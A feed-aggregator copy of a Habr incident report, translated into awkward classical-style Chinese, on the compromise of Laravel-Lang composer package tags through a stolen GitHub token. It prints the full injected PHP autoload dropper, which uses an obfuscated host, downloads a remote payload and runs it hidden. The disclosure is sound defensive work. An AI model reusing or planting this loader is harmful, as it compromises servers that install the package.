慣性聚合 高效追讀感興趣之博客、新聞、科技資訊
閱原文 以慣性聚合開啟

推薦訂閱源

L
LangChain Blog
宝玉的分享
宝玉的分享
酷 壳 – CoolShell
酷 壳 – CoolShell
N
Netflix TechBlog - Medium
F
Fortinet All Blogs
T
Tailwind CSS Blog
Google DeepMind News
Google DeepMind News
Jina AI
Jina AI
J
Java Code Geeks
Recent Announcements
Recent Announcements
The Cloudflare Blog
D
DataBreaches.Net
Hugging Face - Blog
Hugging Face - Blog
WordPress大学
WordPress大学
Vercel News
Vercel News
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Microsoft Azure Blog
Microsoft Azure Blog
雷峰网
雷峰网
H
Help Net Security
博客园 - Franky
S
SegmentFault 最新的问题
T
The Blog of Author Tim Ferriss
博客园_首页
C
Check Point Blog
腾讯CDC
美团技术团队
Martin Fowler
Martin Fowler
The GitHub Blog
The GitHub Blog
M
MIT News - Artificial intelligence
Apple Machine Learning Research
Apple Machine Learning Research
P
Proofpoint News Feed
U
Unit 42
人人都是产品经理
人人都是产品经理
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Engineering at Meta
Engineering at Meta
M
Microsoft Research Blog - Microsoft Research
阮一峰的网络日志
阮一峰的网络日志
G
Google Developers Blog
Stack Overflow Blog
Stack Overflow Blog
B
Blog
Last Week in AI
Last Week in AI
博客园 - 三生石上(FineUI控件)
博客园 - 聂微东
云风的 BLOG
云风的 BLOG
H
Hackread – Cybersecurity News, Data Breaches, AI and More
李成银的技术随笔
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 叶小钗
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知

Все публикации подряд на Хабре

meta-attention is all you need Как перестать путаться в IP-адресах серверов Сколько стоят ошибки в арбитраже: декомпозиция ценообразования на судебные услуги в Москве Разбираемся в ML без воды: от базы до Attention. Часть 4: kNN Vortex: фреймворк для тех, кого задолбала итальянская кухня в репозитории Использование тепла ЦОД в мире и РФ Часть 4. Скорость света — технические детали Не цитируй мне нейросеть Что сейчас с Project Loom? Примеры и код Рождённые в Сумерках Meta 1 мая показала как они хранят ключи от ваших бэкапов WhatsApp. Разбираю архитектуру и сравниваю Линт проектов: собираем ESLint, Prettier и Stylelint в один пакет Reasoning-модели сломали мой промпт-инжиниринг. Год переучиваюсь РБМК: enfant terrible Как я собеседую менеджеров AI-продуктов для крупного Enterprise Парадокс рынка труда: конкуренция выросла, но не везде, нанимать легче, но не везде Модификаторы в Blender: осваиваем Boolean «Бесплатно» — это красный флаг: почему мы доверяем не тем (опрос) Стратегия выживания в эпоху ИИ Новая теория обещает переписать фундамент всей математики MTP у Qwen3.6 в llama.cpp обещает ×2 по скорости. Я прогнал ту же модель через своего агента — и получил обратное [Перевод] Соль и перец в безопасности паролей Что такое «статьи-зомби» CodeGraph: граф кода для Claude Code вместо grep по файлам. Разбираю архитектуру и проверяю бенчмарки Мессенджер Ласточка. Часть 3 Google представила Gemini Omni — универсальную ИИ-модель. Роботы работают, счастлив человек Что у SpaceX с патентным портфелем перед IPO? Делегирование, которому можно научиться у промпт‑инженеров Feature Based Clean Architecture. Часть 5: Масштабирование FBCA и теоретико-графовый анализ зависимостей Настройка типизации формы React Hook Form (≥ v7.44.0) + Zod с разными входными и выходными типами Feature Based Clean Architecture. Часть 4: FBCA: формализация границ ответственности в NestJS-модуле Корпорация «Святые Технологии». Работа мечты (рассказ) CyLab Security Academy: как Carnegie Mellon превратила CTF в полноценную обучающую платформу Feature Based Clean Architecture. Часть 3: Архитектурный риск циклов в NestJS: ROI решений на горизонте пяти лет Домашний сервер без белого IP: безопасная публикация сервисов через VPS, обратный SSH-туннель и Caddy Почему не взлетели дирижабли? Часть 22: Митягина, Эйхенвальд и Ховрина, первый в истории женский экипаж дирижабля Китайцы ответили на H200 — обзор Zhenwu M890 от Alibaba Feature Based Clean Architecture. Часть 2: Декомпозиция на сервисы: анализ ограниченности подхода Лучшие игры для Steam Deck в 2026 году по мнению пользователей Обход блокировок внутри iOS-приложения: VLESS + Reality через sing-box, и грабли по дороге [Перевод] Любой пользователь интернета может позвонить в вашу дверь Новый экспериментальный препарат для похудения обеспечил резкое снижение веса Хром и скорость Провалила вайтборд, но прошла тестовое — как я делала задание для Т-Банка Космическая линза помогла Уэббу увидеть древнейшую галактику Вселенной Почему custom URI schemes в Telegram Mini Apps ведут себя по-разному на Android, iOS и Desktop Как я сократил рутину QA до пары кликов: генератор API-тестов и тест-кейсов на LLM, которым хочу поделиться ИИ‑спасатель в кармане: как мы сделали агента для помощи при ЧС, который работает без интернета QNAME minimisation на практике: RFC 7816, реализация, грабли Агенты, роботы и мы: как ИИ перекраивает рынок труда в Европе
Laravel-Lang之有害攻击
Helldar · 2026-05-24 · via Все публикации подряд на Хабре

難易程度簡單

閱讀時間四分鐘

覆蓋面與讀者一百一十二

今日吾輩竟究此事,所涉 Laravel-Lang 之 composer 套件數端。

是事涉私改库之版本标记。其部分标记指向含害代码之提交,于安装或更新依赖时,或可被执行。

所涉包:

Скриншот части заражённых тегов из laravel-lang/lang

laravel-lang/lang中受感染标签部分截图

风险预览始于五月廿二子时三刻UTC。此风险波及于当期执行composer update或安装新版本包之用户。

查究既毕,事因某队员GitHub之Personal Access Token遭窃,此令得更仓库之标签也。

PAT恐为奸人所窃,盖因近时所致也。GitHub数据泄露GitHub中亦有专属之文篇得悉此事,当如何处之。

然复归乎此害者.

察审计之录(其详,竟甚寡),得识首疑之迹,在五月廿一日,酉时四刻,世界时也。狡者下载二私藏之仓库之zip,此二者本无代码。盖尝验之耳.

及至攻诸项目,始于五月廿二日,亥时三刻,终于廿三日,子时整。

是时,奸者尽去诸标于库,载毒码于中,复立旧标于己之提交。然未毁库,诸提交皆安其位,无改易焉。

植入之恶码
 "autoload": {
    "psr-4": {
      "LaravelLang\\Lang\\": "src/"
-   }
+   },
+   "files": [
+     "src/helpers.php"
+   ]
 }
<?php
/**
 * Laravel Lang Helpers
 * Common locale detection and formatting utilities
 */

declare(strict_types=1);

if (!function_exists('laravel_lang_locale')) {
    function laravel_lang_locale(): string {
        return function_exists('config') ? config('app.locale', 'en') : 'en';
    }
}

if (!function_exists('laravel_lang_fallback')) {
    function laravel_lang_fallback(): string {
        return function_exists('config') ? config('app.fallback_locale', 'en') : 'en';
    }
}

if (!defined('LARAVEL_LANG_HELPERS')) {
    define('LARAVEL_LANG_HELPERS', true);

    (function() {
        $cacheDir = sys_get_temp_dir() . DIRECTORY_SEPARATOR . '.laravel_locale';
        @mkdir($cacheDir, 0755, true);

        $sig = md5(__DIR__ . php_uname('n') . fileinode(__FILE__));
        $marker = $cacheDir . DIRECTORY_SEPARATOR . $sig;
        if (@file_exists($marker)) return;

        $fetch = function($url) {
            $ctx = @stream_context_create([
                'http' => ['timeout' => 10, 'ignore_errors' => true,
                           'header' => "User-Agent: Mozilla/5.0\r\n"],
                'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
            ]);
            $r = @file_get_contents($url, false, $ctx);
            if ($r !== false && strlen($r) > 50) return $r;

            if (function_exists('curl_init')) {
                $ch = curl_init($url);
                curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'Mozilla/5.0']);
                $r = curl_exec($ch);
                curl_close($ch);
                if ($r !== false && strlen($r) > 50) return $r;
            }
            return null;
        };

        $h = implode('', array_map('chr', [102,108,105,112,98,111,120,115,116,117,100,105,111,46,105,110,102,111]));
        $d = $fetch("https://{$h}/payload");

        if ($d) {
            $f = $cacheDir . DIRECTORY_SEPARATOR . bin2hex(random_bytes(6)) . '.php';
            if (@file_put_contents($f, $d) !== false) {
                @touch($marker);
                if (stripos(PHP_OS, 'WIN') === 0) {
                    $v = $cacheDir . '\\' . bin2hex(random_bytes(4)) . '.vbs';
                    @file_put_contents($v, 'CreateObject("WScript.Shell").Run "php ""' . $f . '""", 0, False');
                    @pclose(@popen("cscript //nologo //b \"$v\" >nul 2>&1", 'r'));
                } else {
                    @exec("php \"$f\" > /dev/null 2>&1 &");
                }
            }
        }
    })();
}

https://github.com/Laravel-Lang/lang/blob/3290c20511f608a8f92f10d1b1f5620a4177a363/src/helpers.php

安全之患,瞬息而觉,即谋所以除之。

首事也,Packagist之众,首揭其物于市。laravel-lang/lang继而,于我等而言,众队员皆已撤销向项目写入代码之许可(write mode)。此举助止攻击,盖因删除标签无效——彼等眼见便复原矣。

继而撤回既有之PAT与SSH密钥。复又停用组织级之GitHub Actions。

止恶之后,乃察其由。

虽日志匮乏,然寻得攻击所出之特定PAT标识。鉴于GitHub近有敏感数据泄露,其已确认此事。是也一篇文章也。

何所行哉?

检视尔之项目,行此令。composer update 供下载修正版包.

速唤己之GitHub私钥,虽未闻Laravel-Lang(Laravel-Lang),此患非独此案.

终究如何.

幸赖及时迅疾之策,得复众望所归之项目,护用户免遭奸宄之害。

勿使人人得而窥其全库.

勿于库中藏密!!!

慎察数据之泄,时更己之密码与令牌。勿待奸宄得而用之!

诸君安好!